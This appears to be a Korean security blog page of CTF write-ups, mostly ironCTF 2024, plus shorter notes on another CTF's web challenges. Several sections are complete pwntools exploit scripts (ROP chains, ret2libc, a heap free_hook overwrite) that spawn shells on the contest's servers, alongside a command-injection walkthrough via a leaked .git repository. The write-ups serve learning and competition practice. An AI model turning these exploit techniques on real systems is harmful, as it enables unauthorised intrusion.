반응형

I wrote few challenges i solved. 

I was disappointed that I couldn't solve problems such as deserialization and csrf that could have been solved because of pyjail... haha


Math Gone Wrong

let's check the process

the formula is always true.

but we can think about floating point.

if we use the number like `e`, the formula can become false. But, we can't use single `e`.

So i used as below

flag : ironCTF{s1mpl3_r3m4ind3r_70_b3w4r3_0f_fl047ing_p0in7_3rr0r}

 


Introspection

First of all, let's check source code.

it would flush flag if we inject `A*1008`. Cause there is no null byte.

Let's use simple exploit code.

result is as below

flag : ironCTF{W0w!_Y0u_Just_OverWrite_the_Nul1!}

JWT Hunt

This is just simple challenge without sourcecode.

It has, register and login button as below and maybe we can get flag when we login as `admin`.

First, register and login with test/test.

When i travel(?) around the website, i can view the JWT and secretketpart2 as below.

Now, we can realize what to do.

Find all of secretkeyparts, and use that keys for JWT secret bit.

We can find secretkeypart1 from robots.txt.

We already have secretkey2 from `cookie`.

Next, secretkeypart3 is in sitemap.xml.

Last, secretkeypart4 was a bit tricky. We have to use burp suite.

I 've checked allowed method. We can use `HEAD` method and approach to `/secretkeypart4`

We've got all of the parts. Now we have to make JWT.

Now inject the token and reload the page.

 

flag : ironCTF{W0w_U_R34lly_Kn0w_4_L07_Ab0ut_JWT_3xp10r4710n!}

 


MovieReviewApp

This challenge has no source code, too. Let's view the page.

There were nothing i could inject something.

But, I've found directory listing in this page, when i delete `movies/`.

There is `.git` directory.

I've used `git-dumper`.

https://github.com/arthaud/git-dumper

 

I've used below command to dump all of git files.

./git_dumper.py https://movie-review.1nf1n1ty.team/.git ../movie

 

When i use `git log` command is `movie` directory i can view the logs.

I've check the commit 3892d93c3eb7f379e4d2991c8cd011a4336804b6. Cause it is related with authentication.

We can obtain hardcoded id/pw and also there was servermonitor directory.

 

So i approached to servermonitor directory. There is an Admin page!

You can see the Admin login page, and use hardcoded id/pw we obtained.

We can see admin_panel page.

Let's see the code again.

@app.route('/admin_panel', methods=['GET', 'POST'])
def admin_panel():
    if 'logged_in' not in session:
        return redirect(url_for('admin'))
    ping_result = None
    if request.method == 'POST':
        ip = request.form.get('ip')
        count = request.form.get('count', 1)
        try:
            count = int(count)
            ping_result = ping_ip(ip, count)
        except ValueError:
            flash("Count must be a valid integer")
        except Exception as e:
            flash(f"An error occurred: {e}")

    memory_info = psutil.virtual_memory()
    memory_usage = memory_info.percent
    total_memory = memory_info.total / (1024 ** 2) 
    available_memory = memory_info.available / (1024 ** 2) 

    return render_template('admin.html', ping_result=ping_result, 
                           memory_usage=memory_usage, total_memory=total_memory, 
                           available_memory=available_memory)

 

we can use command injection now. When we inject in `ip` parameter, it occurs error.

But, when we use with `count` parameter, something works!

I've use below command to check the flag file.

Let's catch the file.

flag : ironCTF{4lways_b3_c4ar3ful_w1th_G1t!}

I've attached solver code my Team member solved

https://neko-hat.github.io/ -> He solved it. If you have question ask him in discord :)

Later I would attempt to solve and attach writeups my own. If i have time to do... :)

 

Hopper

from pwn import *

context.log_level = 'debug'

# p = process('./Hopper')
p = remote('pwn.1nf1n1ty.team', 31886)
p.recvuntil(b'( ~   Y.  )\n')

leak_ret_addr = u64(p.recv(6) + b'\x00' * 2)

log.critical(f'leak ret addr: {hex(leak_ret_addr)}')

pop_rdi_jmp_r15 = 0x0040101d 
pop_r15_jmp_r15 = 0x000000000040101c
ret = 0x0000000000401013
syscall = 0x000000000040100a
pop_rsi_pop_rdi_pop_rbx_pop_r13_pop_r15_jmp_r15 = 0x0000000000401017
jmp_addr = leak_ret_addr-0x10
pop_r15_jmp_r15 = 0x000000000040101c
xor_rdx_jmp_r15 = 0x0000000000401021
xor_rsi_jmp_r15 = 0x0000000000401027
add_rbx_jmp_rbx = 0x0000000000401011
call_read_func = 0x401069
and_al_0x48_add_ebx_jmp = 0x0000000000401010
and_al_0x24_add_rbx_jmp = 0x000000000040100f
syscall_and_jmp_rsp = 0x401077


pay = p64(ret) + p64(pop_rsi_pop_rdi_pop_rbx_pop_r13_pop_r15_jmp_r15) + p64(leak_ret_addr+0x28) + p64(0) + p64(leak_ret_addr+0x18) + p64(0)
pay += p64(ret) + p64(and_al_0x24_add_rbx_jmp) + p64(syscall_and_jmp_rsp)

p.sendafter(b'>> ', pay)

pay = p64(ret) +p64(pop_rdi_jmp_r15) + p64(leak_ret_addr+0x58) + p64(xor_rdx_jmp_r15) + p64(xor_rsi_jmp_r15) + p64(syscall) + b'/bin/sh\x00' + b'\x00' * 3

p.send(pay)

p.interactive()

 

My solve code after the CTF end

from pwn import *

context.log_level = "DEBUG"

#p = process("./Hopper")
p = remote("pwn.1nf1n1ty.team",31886)

def slog(name, addr): return success(': '.join([name, hex(addr)]))

#gdb.attach(p, gdbscript="source ~/peda/peda.py ")

p.recvuntil(b'( ~   Y.  )\n')
leak_ret_addr = u64(p.recv(6) + b'\x00' * 2)

slog('addr: ', leak_ret_addr)

sh_addr = leak_ret_addr + 0x8 # offset

syscall = 0x40100a # or use  0x401077
xor_rsi_rsi = 0x401027 # with jmp r15
xor_rdx_rdx = 0x401021 # with jmp r15
pop_rsi_pop_rdi_pop_rbx_pop_r13_pop_r15_jmp_r15 = 0x401017
xchg_rax_r13 = 0x40100c
ret = 0x401013

pl = p64(ret) # 8byte
pl += p64(pop_rsi_pop_rdi_pop_rbx_pop_r13_pop_r15_jmp_r15)
pl += p64(0)
pl += p64(sh_addr)
pl += '/bin/sh\00' # don't use /bin//sh, when we use /bin//sh `;` could be injected
pl += p64(0x3b)
pl += p64(ret) # ret gadget for continue code
pl += p64(xchg_rax_r13)
pl += p64(xor_rdx_rdx)
pl += p64(syscall)

p.sendafter(">> ", pl) #without \n
p.interactive()

 

challenge info

-checksec-
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled

-file-
Hopper: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped

-info func-
0x0000000000401000  print
0x0000000000401011  dispatcher
0x0000000000401017  gadgets
0x0000000000401033  _start

there are no library, so there are no `got`, `plt`
Also when we input something, It goes to RIP. this means we can control RIP.
And If we use vmmap, there are no `rwx` section to use shellcode.

 

we need to make condition as below

rax - 0x3B = 59
rdi - /bin//sh
rsi - 0
rdx - 0

 

also we need to know that read() in C returns received byte length and the length goes to RAX register.

So, the payload's length should be 0x3B. But, there was `xchg ` gadget. So i used that one.

 

how to get gadget

git clone https://github.com/0vercl0k/rp
cd src/build
chmod u+x ./build-release.sh && ./build-release.sh
sudo ln -s /home/tr4ce/tools/rp/src/build/rp-lin /usr/bin/rp-lin (linking)
rp-lin -f ./Hopper -r5 (control level with -r1~5)

LoginSimulator

from pwn import *

context.log_level = 'debug'

# p = process('./login')
p = remote('pwn.1nf1n1ty.team', 31293)
libc = ELF('./glibc/libc.so.6')

def register_user(name, passwd):
    p.sendlineafter(b'> ', b'1')
    p.sendlineafter(b'Enter your name: ', name)
    p.sendlineafter(b'Enter new password: ', passwd)

def view_user(id):
    p.sendlineafter(b'> ', b'2')
    p.sendlineafter(b'Enter user id: ', str(id).encode())

def change_password(id, passwd, new_passwd):
    p.sendlineafter(b'> ', b'3')
    p.sendlineafter(b'Enter your user id: ', str(id).encode())
    p.sendlineafter(b'Enter your password: ', passwd)
    p.sendlineafter(b'Enter new password: ', new_passwd)


def send_cmd(pay):
    p.sendlineafter(b'> ', b'1337')
    p.sendafter(b'Enter command: ', pay)
    

for i in range(5):
    register_user((f'neko{i}' * 4).encode(), (f'neko{i}' * 4).encode())

p.sendlineafter(b'> ', b'3')
p.sendlineafter(b'Enter your user id: ', str(4).encode())
p.sendlineafter(b'Enter your password: ', b'neko4' * 4 )
p.sendlineafter(b'Enter new password: ', b'A' * 21)
p.sendlineafter(b'application: ', b'1.1')
p.recvuntil(b'\x99\xf1')

leak = u64(p.recv(6) + b'\x00' * 2)
log.critical(f"leak: {hex(leak)}")
lb = leak - 0x81a3f
log.critical(f"lb {hex(lb)}")

pop_rdi = lb + 0x0000000000028215
ret = lb + 0x000000000002668c
binsh = lb + list(libc.search(b'/bin/sh'))[0]
system = lb + libc.symbols['system']

log.critical(f'binsh: {hex(binsh)}')
pay = b'A' * 400 + b'B' * 8
pay += p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system)
send_cmd(pay)

p.interactive()

1nf1n1tyShop

from pwn import *

context.log_level = 'debug'

# p = process('./1nf1n1tyShop')
p = remote('pwn.1nf1n1ty.team', 31798)
e = ELF('./1nf1n1tyShop')
libc = ELF('./libc.so.6')

p.sendlineafter(b'Enter Your Name:\n>', 'neko')
p.sendlineafter(b'\n>', b'4')
p.recvuntil(b'Your prize: ')
flag_addr = int((p.recvuntil(b';', drop=True)).decode(), 16)
pie_base = flag_addr - e.symbols['flag']
food = pie_base + e.symbols['food']

log.critical(f'pie_base: {hex(pie_base)}')
log.critical(f'food: {hex(food)}')

pay = b'A' * 172
pay += p32(pie_base+e.symbols['main'])

p.sendlineafter(b'\n>', b'2')
p.sendafter(b'\n>', pay)
p.sendlineafter(b'Enter Your Name:\n>', 'hacker')
p.sendlineafter(b'\n>', b'4')

p.recvuntil(b'Your prize: ')
system = int((p.recvuntil(b';', drop=True)).decode(), 16)
lb = system - libc.symbols['system']
binsh = lb + list(libc.search(b'/bin/sh'))[0]
one_gadget = lb + 0x173af2
bss = pie_base + e.bss() + 0x1b00

log.critical(f'system: {hex(system)}')
log.critical(f'lb: {hex(lb)}')
log.critical(f'bss: {hex(bss)}')


pay = b'A' * 164
pay += p32(pie_base + 0x3ff4)
pay += p32(bss)
pay += p32(pie_base+0x124B)

p.sendlineafter(b'\n>', b'2')
p.sendafter(b'\n>', pay)

puts_got = pie_base + 0x4010
pppr = lb + 0x0003ddea

pay = b'A' * 0xa4
pay += p32(pie_base + 0x3ff4)
pay += p32(bss)
pay += p32(system)
pay += p32(pppr)
pay += p32(binsh)
pay += p32(0)
pay += p32(0)
p.send(pay)

p.interactive()

SimpleNotes

from pwn import *

context.log_level = 'debug'

# p = process('./SimpleNotes')
p = remote('pwn.1nf1n1ty.team', 32229)
libc = ELF('./libc.so.6')

def add_note(id, size, pay):
    p.sendlineafter(b'>> ', b'1')
    p.sendlineafter(b'Enter the id of note: ', str(id).encode())
    p.sendlineafter(b'Enter the size of note: ', str(size).encode())
    p.sendafter(b'Enter the note: ', pay)

def edit_note(id, size, pay):
    p.sendlineafter(b'>> ', b'2')
    p.sendlineafter(b'Enter the id of note: ', str(id).encode())
    p.sendlineafter(b'Enter the size of note: ', str(size).encode())
    p.sendafter(b'Enter the note: ', pay)

def delete_note(id):
    p.sendlineafter(b'>> ', b'3')
    p.sendlineafter(b'Enter the id of note: ', str(id).encode())

def read_note(id):
    p.sendlineafter(b'>> ', b'4')
    p.sendlineafter(b'Enter the id of note: ', str(id).encode())

add_note(0, 0x1000, b'neko_hat')
delete_note(0)

for i in range(0x2):
    add_note(i, 0x1000, b'n')

delete_note(0)
delete_note(1)

add_note(0, 1, b'n')
edit_note(0, 0x100, b'A'*0x8)
read_note(0)
p.recv(8)

leak = u64(p.recv(6) + b'\x00' * 2)
log.critical(f"leak: {hex(leak)}")
lb = leak - 0x3ebca0
system = lb + libc.symbols['system']
log.critical(f"lb: {hex(lb)}")
free_hook = lb + libc.symbols['__free_hook']
log.critical(f"free_hook: {hex(free_hook)}")

for i in range(2, 5):
    add_note(i, 0x1, b'n')

delete_note(4)
delete_note(3)

pay = b'A' * 0x10 +p64(0) +p64(0x21) + p64(free_hook)
edit_note(2, 0x100, pay)

add_note(5, 10, b'/bin/sh\x00')
add_note(6, 10, p64(system))

delete_note(5)

p.interactive()

Fire in the Base Camp

import requests

target = """/is/this/the/flag
/i/think/this/is/the/one
/seriously/give/me/the/flag/now
/please/give/it/to/me"""

target = target.split('\n')

path = (target[3][0:7])
path +=(target[2][10:15])
path +=(target[3][18:21])
path +=(target[1][16:20])
path +=(target[0][12:27])
print(path)

res = requests.get("https://app3-7d107-default-rtdb.firebaseio.com"+path+'.json')
flag_dic = res.json()
flag = ''

for key in flag_dic.keys():
    flag += flag_dic[key]
print(flag)

 

certificate

반응형

'CTF' 카테고리의 다른 글

Hero CTF 2024  (0) 2024.10.27
BuckeyeCTF 2024  (0) 2024.09.29
ASIS CTF 2024  (0) 2024.09.23
RSTCON 2024 CTF  (0) 2024.09.16
BSidesSF 2024 CTF  (0) 2024.05.06

반응형

top 10 맛있다!

다같이 아무생각없이 재밌어보이니까 해보자!라는 마인드로 CTF시작 시간보다 하루 늦게 시작했지만 만족!

팀명 : tw0n3-byte

 

반응형

'CTF' 카테고리의 다른 글

BuckeyeCTF 2024  (0) 2024.09.29
ASIS CTF 2024  (0) 2024.09.23
BSidesSF 2024 CTF  (0) 2024.05.06
0xl4ugh CTF 2024  (0) 2024.02.11
MAPNA CTF 2024  (0) 2024.01.22

반응형

거의 다 풀었는데 끝마무리를 못짓거나 시간 투자를 많이 못해서 못 푼 문제들이 많아서 많이 아쉬웠다.

1. FLAG HOLDING

초기화면에서 보여주는 것이다.

referer에 해당 url을 추가해주면 다음  step으로 넘어간다.

다음 step이다.

약간의 guessing을 했던 문제인데 secret에 대한 인자가 없는거 아닐까 싶어서 추가해봤다.

burp의  response에서  hint를 발견할 수 있다.

당연히 http지 뭐....이제 마지막 step이다.

ㅇㅎ method 만 바꿔주면 되겄네~

쨘!

이후의 문제 3개는 다 풀거나 많은 삽질을 했지만 해결못해서 아쉬운 마음에 정리해둔다.

 

2. NOVEL READER

...진짜 다풀었었느데...

기능

-balance 10 당 words balance 1이고 words balance가 추가될때마다 novels를 볼 수 있는 글자가 한글자씩 추가되는 구조이다. 

-balance와  words balance의 교환은 charge account를 통해 이뤄진다.

-private novels는 읽을 수 없다.

 

무슨 방법을 써도 읽을 수가 없기에 경로추적을 수행해봤었는데...

분명 안풀렸었다가 추후에 알아보니.. 인코딩을 해주어야 했었다..코드를 안보고 푼 내탓이었다..

제공해주는 것을 잘 활용하자 제발

암튼 코드에 보면

 name = unquote(name)

이런 부분이 있었다.....

그래서 url double encoding을 해주어야했었..;;;; 애초에 파일이름도 secret을 읽는게 아니었다 ㅋㅋ;;

 

3. NOVEL READER2

이 친구 역시 코드를 안봐서 생긴 참사였다

buf = readFile(name).split(' ')
buf = ' '.join(buf[0:session['words_balance']])+'... Charge your account to unlock more of the novel!'

이러한 부분이 있었는데...

혼자 -1일때 balance의 숫자가 올라가는 것을 보고 이게 중요포인트겠구나 까지는 접근했었다ㅠㅠㅠ

코드봤으면 바로 풀었을 텐데....

 

session을 통해 words_balance와 balance를 파악하는데 -1일 경우 파이썬이기에 역순으로 모든 걸 볼 수 있다.

그러므로, words_balance를 -1로 맞추어 준다.

요런느낌으로...

 

3. Advanced JSON Cutifier

가장 많은 시간을 들였던 문제이다... GO언어 관련 문제인줄 알고 GO언어의 framwork인 gin을 후다닥 공부하며 풀어보려했었는데 생각보다 너무 간단했던 문제였기에 많은 허탈함을 느꼈다.

소스코드에 아래와 같은 부분이 있었다.

import (
    "net/http"
    "github.com/gin-gonic/gin"
    "github.com/REDACTED/REDACTED"
)

처음에 당연히 7*7이 계산되기에 알아보니 GO환경에서도 SSTI가 가능하다고 하여 SSTI를 포인트로 잡고 풀고 있었다..

하지만 전혀 다른 부분의 취약점이었다ㅠ

JSONNET llibrary에 대한 부분이었다.

아래의 링크를 첨부한다.

Read file contents and do string replacement on that · Issue #238 · google/jsonnet · GitHub

하하..

너무나 쉽게 풀 수 있는 문제였다ㅠㅠㅠ...

 

그래도 덕분에 때로는 쉽게도 생각해야하며, go언어에 대해 찍먹해보며 삽질하는 기회가 되었던 CTF였다.

아직 많은 공부가 필요함을 다시금 되새기도록 해주었다.

 

반응형

'CTF' 카테고리의 다른 글

BuckeyeCTF 2024  (0) 2024.09.29
ASIS CTF 2024  (0) 2024.09.23
RSTCON 2024 CTF  (0) 2024.09.16
BSidesSF 2024 CTF  (0) 2024.05.06
0xl4ugh CTF 2024  (0) 2024.02.11

+ Recent posts